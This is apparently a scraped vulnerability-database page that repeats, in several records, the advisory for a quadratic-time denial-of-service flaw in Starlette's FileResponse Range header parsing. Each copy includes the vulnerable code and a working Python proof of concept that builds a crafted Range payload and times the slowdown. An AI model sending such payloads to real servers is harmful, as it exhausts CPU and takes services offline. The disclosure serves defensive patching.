"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"upstream": [
"GHSA-7f5h-v6xp-fcq8",
"CVE-2025-62727",
"PYSEC-2026-1942"
]
}
BREW-SYSAIDMIN-CVE-2025-62727 (GHSA-7F5H-V6XP-FCQ8)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:42 – Updated: 2026-09-30 20:23 – Source websiteSummary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "starlette",
"resource_purl": "pkg:pypi/starlette@1.7.0",
"upstream_fixed_in": "0.49.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "sysaidmin",
"purl": "pkg:brew/sysaidmin"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.3"
},
{
"fixed": "0.2.5_6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.7.0",
"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.7.0"
}
]
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "BREW-sysaidmin-CVE-2025-62727",
"modified": "2026-09-30T20:23:31Z",
"published": "2026-08-13T17:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"upstream": [
"GHSA-7f5h-v6xp-fcq8",
"CVE-2025-62727",
"PYSEC-2026-1942"
]
}
BREW-THEHARVESTER-CVE-20… (GHSA-7F5H-V6XP-FCQ8)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:43 – Updated: 2026-09-18 19:03 – Source websiteSummary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "starlette",
"resource_purl": "pkg:pypi/starlette@1.6.0",
"upstream_fixed_in": "0.49.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "theharvester",
"purl": "pkg:brew/theharvester"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.11.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.6.0",
"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.6.0"
}
]
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "BREW-theharvester-CVE-2025-62727",
"modified": "2026-09-18T19:03:30Z",
"published": "2026-08-13T17:43:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"upstream": [
"GHSA-7f5h-v6xp-fcq8",
"CVE-2025-62727",
"PYSEC-2026-1942"
]
}
CVE-2025-62727 (GCVE-0-2025-62727)
Vulnerability from cvelistv5 – Published: 2025-10-28 20:14 – Updated: 2025-11-04 17:41- CWE-407 - Inefficient Algorithmic Complexity
| URL | Tags |
|---|---|
| https://github.com/Kludex/starlette/security/advi… | x_refsource_CONFIRM |
| https://github.com/Kludex/starlette/commit/4ea6e2… | x_refsource_MISC |
| https://github.com/Kludex/starlette/commit/69ed26… | x_refsource_MISC |
| https://github.com/Kludex/starlette/releases/tag/0.49.1 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-62727",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-28T20:36:34.130234Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-10-28T20:36:49.189Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "starlette",
"vendor": "Kludex",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.39.0, \u003c 0.49.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-407",
"description": "CWE-407: Inefficient Algorithmic Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-11-04T17:41:42.316Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"name": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"name": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"name": "https://github.com/Kludex/starlette/releases/tag/0.49.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"source": {
"advisory": "GHSA-7f5h-v6xp-fcq8",
"discovery": "UNKNOWN"
},
"title": "Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-62727",
"datePublished": "2025-10-28T20:14:53.655Z",
"dateReserved": "2025-10-20T19:41:22.742Z",
"dateUpdated": "2025-11-04T17:41:42.316Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-7F5H-V6XP-FCQ8
Vulnerability from github – Published: 2025-10-28 20:38 – Updated: 2025-11-04 17:40Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.49.0"
},
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0.39.0"
},
{
"fixed": "0.49.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62727"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-28T20:38:01Z",
"nvd_published_at": "2025-10-28T21:15:40Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "GHSA-7f5h-v6xp-fcq8",
"modified": "2025-11-04T17:40:59Z",
"published": "2025-10-28T20:38:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
